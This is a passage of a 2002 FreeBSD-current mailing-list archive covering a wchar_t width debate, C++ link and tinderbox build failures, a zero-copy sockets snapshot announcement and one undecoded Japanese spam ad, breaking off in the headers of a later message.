To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 17:59:18 2002
Delivered-To: freebsd-current@freebsd.org
Received: from ish7.ericsson.com.au (ish7.ericsson.com.au [203.61.155.111])
	by hub.freebsd.org (Postfix) with ESMTP id 1A98B37B40F
	for <freebsd-current@freebsd.org>; Tue, 18 Jun 2002 17:59:09 -0700 (PDT)
Received: from brsf10.epa.ericsson.se (brsf10 [146.11.8.4])
	by ish7.ericsson.com.au (8.11.6+Sun/8.11.6) with ESMTP id g5J0vOg03645
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 10:57:24 +1000 (EST)
Received: from eaubrnt019.epa.ericsson.se (eaubrnt019.epa.ericsson.se [146.11.9.165])
	by brsf10.epa.ericsson.se (8.11.6+Sun/8.11.6) with ESMTP id g5J0x7412529
	for <freebsd-current@freebsd.org>; Wed, 19 Jun 2002 10:59:07 +1000 (EST)
Received: by eaubrnt019.epa.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <M9DHN0V9>; Wed, 19 Jun 2002 10:59:06 +1000
Message-ID: <4B6BC00CD15FD2119E5F0008C7A419A514C8BB48@eaubrnt018.epa.ericsson.se>
From: "Johny Mattsson (EPA)" <Johny.Mattsson@ericsson.com.au>
To: "'freebsd-current@freebsd.org'" <freebsd-current@freebsd.org>
Subject: RE: PATCH: wchar_t is already defined in libstd++
Date: Wed, 19 Jun 2002 10:58:58 +1000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2172C.7E4C88A0"
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2172C.7E4C88A0
Content-Type: text/plain

Hi Terry and all,

I usually just lurk on the list, but since I'm a C++ afficionado, I wanted
to question your below snipped statement.

If we settle on wchar_t being 16bits, then we will still be forced to do
UTF-7/8/16 to properly handle a random Unicode (or ISO/IEC 10646) string,
since we must deal with that charming thing known as "surrogate pairs" (see
section 3.7 of the Unicode standard v3.0). This again breaks the "one
wchar_t == on character". When being forced to deal with Unicode, I much
prefer working with 32bits, since that guarantees that I get a fixed length
for each character. Admittedly, it is space inefficient to the Nth degree,
but speedwise it is better.
As for interoperability with Windows, it is clearly stated that the wchar_t
is intended for internal usage only, and the various encoding schemes should
be used when storing strings outside of a process. In reality this means
that just about every Unicode capable application reads and writes in UTF-8
or 7. This means that interoperability should not become an issue. If it
really was expected to have been an issue, I'm sure the C++ standard would
have mandated a specific width for wchar_t, which as far as I am aware they
didn't. The draft copy I pulled out via google says the following:
Type  wchar_t  is  a distinct type whose values can represent distinct codes
for all members of the largest extended character set  specified among  the
supported locales (_lib.locale_).  Type wchar_t shall have the same size,
signedness, and alignment requirements (_intro.memory_) as one of the other
integral types, called its underlying type.
So, in the light of this, what would be the most appropriate choice? I
haven't yet had a chance to explore what locales we support, but I would
lean toward saying wchar_t == 32 bits, since this is future proof. If we
later down the track are forced to go from 16 -> 32 due us supporting more
of the asian locales, I foresee this causing _major_ breakage.
If anyone actually has a copy of the C++ standard and would be kind enough
to paste the section regarding the size of wchar_t, that would be most
helpful for this discussion I believe.
Regards,
/Johny
--
Johny Mattsson                	| Email: Johny.Mattsson@ericsson.com.au
Ericsson Support Engineer	| Phone: +61 (0)3 9301 1372
NCSA NetScreen Certified	| Mobile: +61 (0)404 003 713


> -----Original Message-----
> From:	Terry Lambert [SMTP:tlambert2@mindspring.com]
> Sent:	Tuesday, June 18, 2002 9:47 PM
> To:	Thomas David Rivers
> Cc:	mb@imp.ch; current@FreeBSD.ORG; wollman@lcs.mit.edu
> Subject:	Re: PATCH: wchar_t is already defined in libstd++
> 
> 
> o	A desire for raw storage of Unicode, rather than UTF-8 or
> 	UTF-7 encoding.  This last one is:
> 
> 	o	UTF encoding breaks fixed field storage, which has
> 		always bean a measure of the number of characters
> 		you can put in a field.
> 

------_=_NextPart_001_01C2172C.7E4C88A0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DUS-ASCII">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.19">
<TITLE>RE: PATCH: wchar_t is already defined in libstd++</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">Hi Terry and all,</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I usually just lurk on the list, but =
since I'm a C++ afficionado, I wanted to question your below snipped =
statement.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">If we settle on wchar_t being 16bits, =
then we will still be forced to do UTF-7/8/16 to properly handle a =
random Unicode (or ISO/IEC 10646) string, since we must deal with that =
charming thing known as &quot;surrogate pairs&quot; (see section 3.7 of =
the Unicode standard v3.0). This again breaks the &quot;one wchar_t =
=3D=3D on character&quot;. When being forced to deal with Unicode, I =
much prefer working with 32bits, since that guarantees that I get a =
fixed length for each character. Admittedly, it is space inefficient to =
the Nth degree, but speedwise it is better.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">As for interoperability with Windows, =
it is clearly stated that the wchar_t is intended for internal usage =
only, and the various encoding schemes should be used when storing =
strings outside of a process. In reality this means that just about =
every Unicode capable application reads and writes in UTF-8 or 7. This =
means that interoperability should not become an issue. If it really =
was expected to have been an issue, I'm sure the C++ standard would =
have mandated a specific width for wchar_t, which as far as I am aware =
they didn't. The draft copy I pulled out via google says the =
following:</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Type&nbsp; wchar_t&nbsp; is&nbsp; a =
distinct type whose values can represent distinct codes for all members =
of the largest extended character set&nbsp; specified among&nbsp; =
the&nbsp; supported locales (_lib.locale_).&nbsp; Type wchar_t shall =
have the same size, signedness, and alignment requirements =
(_intro.memory_) as one of the other integral types, called its =
underlying type.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">So, in the light of this, what would =
be the most appropriate choice? I haven't yet had a chance to explore =
what locales we support, but I would lean toward saying wchar_t =3D=3D =
32 bits, since this is future proof. If we later down the track are =
forced to go from 16 -&gt; 32 due us supporting more of the asian =
locales, I foresee this causing _major_ breakage.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">If anyone actually has a copy of the =
C++ standard and would be kind enough to paste the section regarding =
the size of wchar_t, that would be most helpful for this discussion I =
believe.</FONT></P>

<P><FONT SIZE=3D2 FACE=3D"Arial">Regards,<BR>
/Johny</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">--</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Johny =
Mattsson&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; | Email: =
Johny.Mattsson@ericsson.com.au</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Ericsson Support =
Engineer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | Phone: +61 (0)3 9301 =
1372</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">NCSA NetScreen =
Certified&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | Mobile: +61 =
(0)404 003 713</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">-----Original Message-----</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">From:&nbsp;&nbsp; Terry Lambert =
[SMTP:tlambert2@mindspring.com]</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Sent:&nbsp;&nbsp; Tuesday, June 18, =
2002 9:47 PM</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">To:&nbsp;&nbsp;&nbsp;&nbsp; Thomas =
David Rivers</FONT>
<BR><FONT SIZE=3D2 FACE=3D"Arial">Cc:&nbsp;&nbsp;&nbsp;&nbsp; =
mb@imp.ch; current@FreeBSD.ORG; wollman@lcs.mit.edu</FONT>
<BR><FONT SIZE=3D2 =
FACE=3D"Arial">Subject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Re: =
PATCH: wchar_t is already defined in libstd++</FONT>
</P>
<BR>

<P><FONT SIZE=3D2 FACE=3D"Arial">o&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
A desire for raw storage of Unicode, rather than UTF-8 or</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">UTF-7 encoding.&nbsp; This last one is:</FONT>
</P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">o&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UTF encoding =
breaks fixed field storage, which has</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">always bean a measure of the number of characters</FONT>
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2 =
FACE=3D"Arial">you can put in a field.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2172C.7E4C88A0--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 18:29:53 2002
Delivered-To: freebsd-current@freebsd.org
Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12])
	by hub.freebsd.org (Postfix) with ESMTP id B5B5837B403
	for <current@freebsd.org>; Tue, 18 Jun 2002 18:29:45 -0700 (PDT)
Received: from pool0336.cvx22-bradley.dialup.earthlink.net ([209.179.199.81] helo=mindspring.com)
	by harrier.mail.pas.earthlink.net with esmtp (Exim 3.33 #2)
	id 17KUI3-0006sf-00; Tue, 18 Jun 2002 18:29:43 -0700
Message-ID: <3D0FDE3C.681A3207@mindspring.com>
Date: Tue, 18 Jun 2002 18:28:28 -0700
From: Terry Lambert <tlambert2@mindspring.com>
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Peter S. Housel" <housel@acm.org>
Cc: current@FreeBSD.ORG, Thomas David Rivers <rivers@dignus.com>
Subject: Re: PATCH: wchar_t is already defined in libstd++
References: <200206181119.g5IBJX954922@lakes.dignus.com> <3D0F1D98.31B49358@mindspring.com> <004401c216ec$844088f0$6621010a@housel7352>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

"Peter S. Housel" wrote:
> > o Complete disdain for ISO-10646 being 32 bits, when 16
> > of them are never anything but 0, and were put there just
> > so that people could grep -v other people's languages out
> > of documents
> >
> > o I'll believe Hieroglyphics and Linear B when I see the
> > fonts and the programs that use them.  Dead languages
> > pretty much justify purpose-built linguistics software
> > anyway.
> 
> If you were a MathML user, or had a Chinese name using an obscure character,
> you would probably feel differently.

Why?  Have the Chinese sent representatives to an international
standards body to get code pages other than 0 filled in with
these characters?  Have the MathML users?

Basically, it's not necessary to have bits to represent these
code points until they are parts of a standard character set.
The entire point of Unicode was to provide round-trip capability
between character sets.

For MathML, you can actually unify the code points with Zapf or
other characters thatdon't exist simultaneously in any character
sets.  Alrternately, you could use a "private use" area.


> > o A desire for raw storage of Unicode, rather than UTF-8 or
> > UTF-7 encoding.  This last one is:
> 
> You still need at least 21 bits to have "raw storage of Unicode".  With
> anything less, either UTF-16 surrogates or UTF-8 multi-byte encodings have
> to be used.  With a 16-bit wchar_t, even if I personally don't have any text
> that uses characters beyond the BMP, I still have to write my code to
> account for surrogates.

Unicode 3.2.0 is not an ISO/IEC standard.  It's a political thing.

You might have an argument for ISO-10646-2:2001; however "Klingon"
is not a script I'm really worried about.  8-).


> > o People might accept doubling data size for the benefit
> > of internationalization.  They aren't going to accept
> > a random multiplier between 1 and 5.
> 
> I suspect UTF-16 doesn't compress very well using standard tools, and it is
> subject to byte-order difficulties.  (That goes double for UTF-32, of
> course.)  wchar_t probably shouldn't be directly used for storage.

Anything larger than a byte has byte order problems; that was one
of the original rationales for UTF-8 encoding.

-- Terry

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 19:13:17 2002
Delivered-To: freebsd-current@freebsd.org
Received: from aldan.algebra.com (aldan.algebra.com [216.254.65.224])
	by hub.freebsd.org (Postfix) with ESMTP
	id 2093737B401; Tue, 18 Jun 2002 19:13:11 -0700 (PDT)
Received: from aldan.algebra.com (localhost [127.0.0.1])
	by aldan.algebra.com (8.12.4/8.12.3) with ESMTP id g5J2CKFR093343
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Tue, 18 Jun 2002 22:12:21 -0400 (EDT)
	(envelope-from root@aldan.algebra.com)
Received: (from root@localhost)
	by aldan.algebra.com (8.12.4/8.12.4/Submit) id g5J2CJ6q093342;
	Tue, 18 Jun 2002 22:12:19 -0400 (EDT)
Date: Tue, 18 Jun 2002 22:12:19 -0400 (EDT)
From: Charlie Root <root@aldan.algebra.com>
Message-Id: <200206190212.g5J2CJ6q093342@aldan.algebra.com>
To: current@FreeBSD.org, kde@FreeBSD.org
Subject: C++ troubles continue
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Trying to build kdebase3 on the
	FreeBSD 5.0-CURRENT #7: Mon Jun 17 22:46:16 EDT 2002

[...]
gmake[4]: Nothing to be done for `all-am'.
gmake[4]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps'
gmake[3]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder/apps'
gmake[3]: Entering directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder'
/bin/sh ../libtool --mode=link --tag=CXX c++  -DNDEBUG -DNO_DEBUG -O2 -O -march=i686 -pipe -fno-exceptions -fno-check-new -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST    -o kappfinder -L/opt/lib -pthread  -L/opt/lib -R /opt/lib -R /opt/lib -R /opt/lib -R /opt/lib main.o scanner.o checker.o kappfinder_meta_unload.o  -lkdeui 
c++ -DNDEBUG -DNO_DEBUG -O2 -O -march=i686 -pipe -fno-exceptions -fno-check-new -DQT_CLEAN_NAMESPACE -DQT_NO_COMPAT -DQT_NO_ASCII_CAST -o kappfinder -pthread main.o scanner.o checker.o kappfinder_meta_unload.o  -L/opt/lib /opt/lib/libkdeui.so /opt/lib/libkdecore.so -L/usr/lib /opt/lib/libDCOP.so /opt/lib/libkdefx.so -lqt-mt -lpng -lz -lXext -lX11 -lSM -lICE -lXrender -lstdc++ -lm -lgcc -Wl,--rpath -Wl,/opt/lib -Wl,--rpath -Wl,/opt/lib
checker.o: In function `checkDesktopFile(QString const&, QString)':
checker.o(.text+0x536): undefined reference to `cout'
checker.o(.text+0x543): undefined reference to `ostream::operator<<(char const*)'
checker.o(.text+0x575): undefined reference to `ostream::operator<<(char const*)'
checker.o(.text+0x585): undefined reference to `ostream::operator<<(char const*)'
checker.o(.text+0x6f1): undefined reference to `cout'
checker.o(.text+0x6fe): undefined reference to `ostream::operator<<(char const*)'
checker.o(.text+0x706): undefined reference to `endl(ostream&)'
checker.o(.text+0x7e1): undefined reference to `cout'
checker.o(.text+0x7ea): undefined reference to `ostream::operator<<(char const*)'
checker.o(.text+0x7f2): undefined reference to `endl(ostream&)'
gmake[3]: *** [kappfinder] Error 1
gmake[3]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder'
gmake[2]: *** [all-recursive] Error 1
gmake[2]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1/kappfinder'
gmake[1]: *** [all-recursive] Error 1
gmake[1]: Leaving directory `/ccd/ports/x11/kdebase3/work/kdebase-3.0.1'
gmake: *** [all] Error 2
*** Error code 2

Any clues? The /usr/lib/libstdc++.a has, for example:

00000000 W std::basic_ostream<char, std::char_traits<char> >& std::endl<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&)
00000000 B std::cout
00000000 B std::buf_cout
         U std::cout
         U std::buf_cout

	-mi

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 20:28:42 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mail.asahi-net.or.jp (mail2.asahi-net.or.jp [202.224.39.198])
	by hub.freebsd.org (Postfix) with ESMTP id D825137B404
	for <current@freebsd.org>; Tue, 18 Jun 2002 20:28:37 -0700 (PDT)
Received: from edi (k174124.ppp.asahi-net.or.jp [218.45.174.124])
	by mail.asahi-net.or.jp (Postfix) with SMTP
	id EB2696196; Wed, 19 Jun 2002 12:27:21 +0900 (JST)
Message-ID: <019c01c21741$84587d20$0b01a8c0@edi>
From: "=?iso-2022-jp?B?GyRCOCtAUUFqQ0w7dkwzNkkbKEI=?=" <sakino@expert-net.com>
To: <Undisclosed-Recipient:;@mail.asahi-net.or.jp>
Subject: =?iso-2022-jp?B?GyRCIXs5LTlwIXshIUBHTDMhJjJxN1chJjdQTX0hJjUtRCIbKEI=?=
	=?iso-2022-jp?B?GyRCJEokSSRHJCpHOiRfJEckNyQ/JGkhJiEmISYbKEI=?=
Date: Wed, 19 Jun 2002 12:28:12 +0900
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

--------$B#P#R(B-------------------------------------------------
$B(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(B
$B"#7PM}!&7h;;!&3NDj?=9p!&2q<R@_N)!&EP5-!!@GL3!&7PM}$K$*G:$_$NJ}$K"#(B
$B(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(B
$B$O$8$a$^$7$F!#FMA3$N%a!<%kBgJQ<:Ni$$$?$7$^$9!#(B

$B7PM}$4C4Ev<TMM!#(B

$BFMA3$N%a!<%k!"BgJQ<:NiCW$7$^$9!#(B
$B"##N#o(B1$B$N@GM};NC5$7Bb!*A49q(B5$BJ,$G0l3g?=@A"#(B
http://expert-net.com/samurai/sakino/
$B$r1?1D!&4IM}$7$F$$$^$9@hLn$H$$$$$^$9!#(B


$B$b$7!"3NDj?=9p$d=q$-J}!&7h;;!&7PM}$J$I$G$*G:$_$G$7$?$i!"(B
$B$<$REv%5%$%H$r$4MxMQ$7$F$_$F$/$@$5$$!#(B
$BEv%5%$%H$G$OA49q#1#0#0#0L>0J>e$N;N6H@h@8$,(B
$B$4EPO?$7$FD:$$$F$$$^$9!JEl5~ETFb$G$O(B400$BL>0J>e!K(B
$B$b$A$m$s8f8+@Q$OA49q$GC5$;$F0l3gL5NA8+@Q$G$9(B
$B!JEv%5%$%H$O;N6H@h@8$+$i$N1?1DHq$G1?1D$7$F$*$j$^$9!K(B


$BA49q$GC5$;$F0l3g$GL5NA8+@Q$G$9!#(B
$B$b$C$H6a$/$F!"0B$/$F!"G/Np$G!"?'!9$J@h@8$rA*$Y$F0B?4!#(B
$B7PM}!"7h;;!"?=9p!"8\Ld!"AjB3@G!"5/6H;Y1g!"7PM}Be9T!"5kM?7W;;!"(B
$B2q<R@_N)!"@a@G!"3NDj?=9p!"?=9p=q$N=q$-J}!"$J$s$G$b8fAjCL$/$@$5$$!#(B
$B$$$$@h@88+$D$+$j$^$9!#(B


$B$<$R8fAjCL$/$@$5$$!#(B

$B"##N#o(B1$B$N@GM};NC5$7Bb!*A49q(B5$BJ,$G0l3g?=@A"#(B
http://expert-net.com/samurai/sakino/

$B"#L5NA8+@Q0l3g?=@A%U%)!<%`"#(B
http://expert-net.com/samurai/sakino/estimateform.html



--------------------------------------------------------------
$B"(%a!<%k%"%I%l%9$OBgJQ62$l$J$,$i!"%M%C%H>e$G$*D4$Y$5$;$FD:$-$^$7$?!#(B
  $B!!@?$K62$lF~$j$^$9$,!"$4ITMW$G$"$l$P$4>C5n!"(B
$B!!!!$^$?$OJV?.$7$F$/$@$5$$$^$9$h$&$*4j$$?=$7>e$2$^$9!#(B
    

//////////////////////////////////
$BM-8B2q<R%$!<%M%C%H!!(B@samurai $B;v(B $BL3(B $B6I(B
$BEl5~ET=BC+6h=BC+(B2-11-1
E-mail: sakino@expert-net.com
URL: http://expert-net.com/samurai/sakino/
//////////////////////////////////////













To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 21: 3:52 2002
Delivered-To: freebsd-current@freebsd.org
Received: from ref5.freebsd.org (ref5.FreeBSD.org [216.136.204.102])
	by hub.freebsd.org (Postfix) with ESMTP id EB79937B40E
	for <current@freebsd.org>; Tue, 18 Jun 2002 21:03:47 -0700 (PDT)
Received: from ref5.freebsd.org (localhost [127.0.0.1])
	by ref5.freebsd.org (8.12.3/8.12.3) with ESMTP id g5J43l0h010398
	for <current@freebsd.org>; Tue, 18 Jun 2002 21:03:47 -0700 (PDT)
	(envelope-from des@ref5.freebsd.org)
Received: (from des@localhost)
	by ref5.freebsd.org (8.12.3/8.12.3/Submit) id g5J43lYI010396
	for current@freebsd.org; Tue, 18 Jun 2002 21:03:47 -0700 (PDT)
Date: Tue, 18 Jun 2002 21:03:47 -0700 (PDT)
From: Dag-Erling Smorgrav <des@FreeBSD.org>
Message-Id: <200206190403.g5J43lYI010396@ref5.freebsd.org>
To: current@freebsd.org
Subject: i386 tinderbox failure
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

--------------------------------------------------------------
>>> Rebuilding the temporary build tree
--------------------------------------------------------------
>>> stage 1: bootstrap tools
--------------------------------------------------------------
>>> stage 2: cleaning up the object tree
--------------------------------------------------------------
>>> stage 2: rebuilding the object tree
--------------------------------------------------------------
>>> stage 2: build tools
--------------------------------------------------------------
>>> stage 3: cross tools
--------------------------------------------------------------
>>> stage 4: populating /home/des/tinderbox/i386/obj/local0/scratch/tinderbox/src/i386/usr/include
--------------------------------------------------------------
>>> stage 4: building libraries
--------------------------------------------------------------
>>> stage 4: make dependencies
--------------------------------------------------------------
>>> stage 4: building everything..
--------------------------------------------------------------
===> gnu/lib/libreadline
===> gnu/lib/libreadline/history
===> gnu/lib/libreadline/history/doc
/local0/scratch/tinderbox/src/gnu/lib/libreadline/history/doc/../../../../../contrib/libreadline/doc/hstech.texinfo:451: warning: unlikely character [ in @var.
/local0/scratch/tinderbox/src/gnu/lib/libreadline/history/doc/../../../../../contrib/libreadline/doc/hstech.texinfo:451: warning: unlikely character ] in @var.
===> gnu/lib/libreadline/readline
===> gnu/lib/libreadline/readline/doc
===> gnu/lib/libstdc++
===> gnu/lib/libstdc++/doc
make: don't know how to make iostream.info. Stop
*** Error code 2

Stop in /local0/scratch/tinderbox/src/gnu/lib/libstdc++.
*** Error code 1

Stop in /local0/scratch/tinderbox/src/gnu/lib.
*** Error code 1

Stop in /local0/scratch/tinderbox/src/gnu.
*** Error code 1

Stop in /local0/scratch/tinderbox/src.
*** Error code 1

Stop in /local0/scratch/tinderbox/src.
*** Error code 1

Stop in /local0/scratch/tinderbox/src.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 21:36:59 2002
Delivered-To: freebsd-current@freebsd.org
Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169])
	by hub.freebsd.org (Postfix) with ESMTP
	id D470F37B400; Tue, 18 Jun 2002 21:36:36 -0700 (PDT)
Received: (from ken@localhost)
	by panzer.kdm.org (8.11.6/8.9.1) id g5J4aaZ98387;
	Tue, 18 Jun 2002 22:36:36 -0600 (MDT)
	(envelope-from ken)
Date: Tue, 18 Jun 2002 22:36:36 -0600
From: "Kenneth D. Merry" <ken@kdm.org>
To: current@FreeBSD.org
Cc: net@FreeBSD.org
Subject: new zero copy sockets snapshot
Message-ID: <20020618223635.A98350@panzer.kdm.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


I've released a new zero copy sockets snapshot, against -current from June
18th, 2002.

http://people.FreeBSD.org/~ken/zero_copy

The fixes that went into this snapshot:

 - Take mutex locking out of ti_attach(), it isn't really needed.
   As long as we can assume that probes of successive ti(4) instances
   happen sequentially, we'll be safe in doing this.  Thanks to John
   Baldwin for pointing out the solution to that problem.  (The lock in
   ti_attach() was causing all sorts of WITNESS warnings when
   bus_setup_intr() was called.)

 - Added a new routine, vm_object_allocate_wait().  This is a variant of
   vm_object_allocate() that allows the user to specify whether the
   uma_zalloc() call inside vm_object_allocate_wait() is called with
   M_WAITOK or M_NOWAIT.  This eliminates a WITNESS warning caused when
   jumbo_vm_init() calls vm_object_allocate() with the jumbo lock held, and
   potentially gives other callers the option of eliminating the mandatory
   wait on the uma_zalloc() call.

   (vm_object_allocate() now just calls vm_object_allocate_wait() with the
   proper argument.)

With those fixes, plus several fixes that have gone into -current over the
past week or so, the zero copy sockets code runs without any WITNESS
warnings at all now.

Ken
-- 
Kenneth Merry
ken@kdm.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Tue Jun 18 21:43:25 2002
Delivered-To: freebsd-current@freebsd.org
Received: from angelica.unixdaemons.com (angelica.unixdaemons.com [209.148.64.135])
	by hub.freebsd.org (Postfix) with ESMTP
	id 879B437B410; Tue, 18 Jun 2002 21:43:19 -0700 (PDT)
Received: from angelica.unixdaemons.com (bmilekic@localhost.unixdaemons.com [127.0.0.1])
	by angelica.unixdaemons.com (8.12.4/8.12.1) with ESMTP id g5J4hEXU030242;
	Wed, 19 Jun 2002 00:43:14 -0400 (EDT)
X-Authentication-Warning: angelica.unixdaemons.com: Host bmilekic@localhost.unixdaemons.com [127.0.0.1] claimed to be angelica.unixdaemons.com
Received: (from bmilekic@localhost)
	by angelica.unixdaemons.com (8.12.4/8.12.1/Submit) id g5J4hDBt030241;
	Wed, 19 Jun 2002 00:43:13 -0400 (EDT)
	(envelope-from bmilekic)
Date: Wed, 19 Jun 2002 00:43:13 -0400
